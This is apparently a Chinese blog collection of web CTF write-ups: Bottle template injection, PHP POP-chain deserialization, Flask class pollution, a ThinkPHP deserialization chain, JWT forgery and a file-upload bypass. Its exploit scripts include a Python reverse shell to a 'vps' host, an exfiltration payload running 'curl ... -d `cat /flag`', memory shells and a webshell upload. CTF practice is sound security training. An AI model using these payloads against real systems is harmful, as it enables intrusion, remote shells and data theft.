https://www.osgeo.cn/bottle/stpl.html#simpletemplate-api
那就可以打ssti了。这题无回显,我们反弹shell
message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#
12.Message in a Bottle plus(复现)
加了过滤,不出网,官方wp还是打内存马。
和上面那个相比加了过滤,wp是把它转换成字符串来绕过ast检测。
exp:
import requests
def exp(url):
payload="""
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.g
et('lalala')).read())
'''
"""
data = {"message":payload}
print(payload)
re=requests.post(url+"submit",data=data)
print(re.text)
if __name__=="__main__":
url="http://node4.anna.nssctf.cn:28254/"
exp(url)
2024
1.ezzz_unserialize
<?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}
}
class NoNo {
private $peach;
public function __construct($string) {
$this -> peach = $string;
}
public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}
class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}
}
class UkyoTachibana{
public $banana;
public $mangosteen;
public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}
class UesugiErii{
protected $coconut;
protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}
class MaiSakatoku{
public $Carambola;
private $Kiwifruit;
public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}
if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}
简单的反序列化:
分析pop链:
Sakura{_destruct()}-->Sakura{_toString()}-->Heraclqs{_invoke()}-->E{_get()}
exp:
<?php
class Sakura{
public $apple;
public $strawberry;
}
class E{
public $SplFileObject="/1_ffffffflllllagggggg";
}
class Heraclqs{
public $grape;
public $blueberry="uF73I437TM";
}
$E=new E();
$H=new Heraclqs();
$S=new Sakura();
$S->apple=$S;
$S->apple->strawberry=$H;
$H->grape=$E;
echo serialize($S);
2.Po11uti0n~~~
原型链污染
import uuid
from flask import Flask, request, session
from secret import black_list
import json
'''
@Author: hey
@message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''
app = Flask(__name__)
#随机生成key
app.secret_key = str(uuid.uuid4())
#定义了类似waf的函数
def cannot_be_bypassed(data):
#循环black_list列表
for i in black_list:
#判断如果黑名单里值在用户提交的数据里就返回False
if i in data:
return False
return True
#接收了两个参数,src和dst
def magicallllll(src, dst):
#判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性
if hasattr(dst, '__getitem__'):
#循环src
for key in src:
#遍历src,如果src中的值是字典类型,则遍历src的键
if isinstance(src[key], dict):
#如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数
if key in dst and isinstance(src[key], dict):
magicallllll(src[key], dst[key])
else:
#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key] = src[key]
else:
#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key] = src[key]
else:
#如果dst不具有__getitem__属性,就会进入到这个里面
#针对src生成键值对
for key, value in src.items() :
#如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数
if hasattr(dst,key) and isinstance(value, dict):
magicallllll(value,getattr(dst, key))
#否则将src的键值赋值给dst中的属性
else:
setattr(dst, key, value)
class user():
#初始化username和password
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
#判断用户提交的username和password是否和类中存储的用户名和密码相同
if self.username == data['username'] and self.password == data['password']:
return True
return False
#定义一个空列表
Users = []
#用户的注册函数
@app.route('/user/register',methods=['POST'])
def register():
#判断用户提交的数据是否为空
if request.data:
try:
#检查请求的数据是否包含了恶意的数据
if not cannot_be_bypassed(request.data):
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
#将请求的数据转换成了json格式
data = json.loads(request.data)
#判断username和password是否在转换后的json数据里
if "username" not in data or "password" not in data:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
User = user()
#调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
magicallllll(data, User)
#然后将注册成功后的用户信息存储到Users列表中
Users.append(User)
except Exception:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
return "Congratulations,The username and password is correct,Register Success!!!"
else:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
@app.route('/user/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
for user in Users:
if user.cannot_be_bypassed(data):
session["username"] = data["username"]
return "Congratulations,The username and password is correct,Login Success!!!"
except Exception:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
我们直接篡改环境变量的位置:
我们要发送
{"username":"abc","password":"123","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}}}
因为有黑名单,unicode编码绕过
最终payload:
{"username":"123","password":"123","u005fu005fu0063u006cu0061u0073u0073u005fu005f":{"u0063u0068u0065u0063u006b":{"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f":{"u005fu005fu0066u0069u006cu0065u005fu005f":"u002fu0070u0072u006fu0063u002fu0031u002fu0065u006eu0076u0069u0072u006fu006e"}}}}
随后访问根路由即可

3.CMS直接拿下
扫一下目录发现源码泄露www.zip
访问/api/users。泄露了账号密码。
去admin/login登录
<?php
namespace appcontroller;
use appmodelAdminUser;
use appmodelDatas;
use appmodelStudent;
use appvalidateUser;
use thinkexceptionValidateException;
use thinkfacadeDb;
use thinkfacadeSession;
use thinkRequest;
class Api{
public function login(Request $request)
{
$post = $request->post();
try{
validate(User::class)->check($post);
}
catch (ValidateException $e) {
return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
}
$data = AdminUser::where('username',$post['username'])->findOrEmpty();
if(!$data->isEmpty() && $data['password'] === $post['password']){
$userinfo = [
"id"=>$data['id'],
"username"=>$data['username'],
"password"=>$data['password'],
];
Session::set('userinfo',$userinfo);
return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
}
else{
return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
}
}
public function logout()
{
// 退个屁,不对接前端了
Session::delete('userinfo');
return redirect('/admin/login');
}
public function list(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else {
$db = new Datas;
$page = $request->get('page',1);
$limit = $request->get('limit',10);
$where = [];
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
$count = $db->where($where)->count();
$lists = [];
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
}
}
public function update(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$data = $request->post('data');
// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
// }
// 随便吧,无所谓了,不想再编程下去了
$db = new Datas;
$result = $db->save(['serialize'=>$data]);
return json(["code"=>200,"msg"=>"修改成功"]);
}
}
// 不想再编程下去了,直接丢一个序列化的接口,省事
public function seria(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$seria = serialize(new Student(
$request->post('id',2),
$request->post('name','李四'),
$request->post('score1',91),
$request->post('score2',92),
$request->post('score3',93)
));
return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
}
}
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}
// public function add()
// {
// $userinfo = Session::get('userinfo');
// if(is_null($userinfo)){
// return redirect('/admin/login');
// }
// $db = new Datas;
// $seria = serialize(new Student(3,'王五',94,100,100));
// $data = ['serialize'=>$seria];
// $result = $db->allowField(['serialize'])->save($data);
// }
// public function test(Request $request)
// {
// $post = $request->post();
//
// unserialize($post['payload']);
// }
}
反序列化漏洞
exp:
<?php
namespace thinkmodelconcern;
trait Conversion
{
}
trait Attribute
{
private $data = ["ten" => "curl http://xxx.xxxx.xxxx.xxxx:8989/ -d `cat /flag`"];
private $withAttr = ["ten" => "system"];
}
namespace think;
abstract class Model{
use modelconcernAttribute;
use modelconcernConversion;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
function __construct($obj = '')
{
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
在修改学生信息的页面抓包修改data:

放包刷新页面即可。
之后即可监听到

4.理想国
访问后是一个 Swagger API 文档,三个路由
/api-base/v0/register
/api-base/v0/login
/api-base/v0/reseach
先利用注册路由注册一个用户
{"username": "123",
"password": "123"}
然后登录路由登录后拿到token

带着token去拿源码

源码如下:
# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}
def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated
def check(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == "Plato" and payload['password'] == "ideal_state":
return func(*args, **kwargs)
else:
return 'You are not a sage. You cannot enter the ideal state.', 401
except:
return 'Something error?', 500
return decorated
@app.route('/', methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
flag = os.popen("/readflag").read()
return flag
@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400
@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400
@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response
@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
if request.args.get('file'):
try:
with open(request.args.get('file'), 'r') as file:
data = file.read()
return render_template_string(data)
except FileNotFoundError:
return 'File not found', 404
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?', 500
else:
return jsonify(response2)
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username = "admin"
self.password = "password"
self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)
只要知道secret_key就能伪造jwt,从而读取flag
这个key在环境变量里

伪造jwt后去访问/enterIdealState即可
5.PermissionDenied
<?php
function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}
file_put_content函数有一个文件解析的漏洞
当上传
123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php
利用脚本上传一句话木马:
import requests
url = "http://node6.anna.nssctf.cn:20567/" # 目标URL
file = {
"file": ("shell.php%2f.", open('D:/buuctf/shell.php', 'rb')) # 文件名和打开的文件
}
try:
res = requests.post(url=url, files=file) # 发送POST请求
print(res.text) # 打印服务器响应
except Exception as e:
print("发生错误:", e)
然后蚁剑连接。发现无法执行命令插件绕过即可

选择这个模式即可。
最后提权很简单,直接找到suid权限的文件执行即可





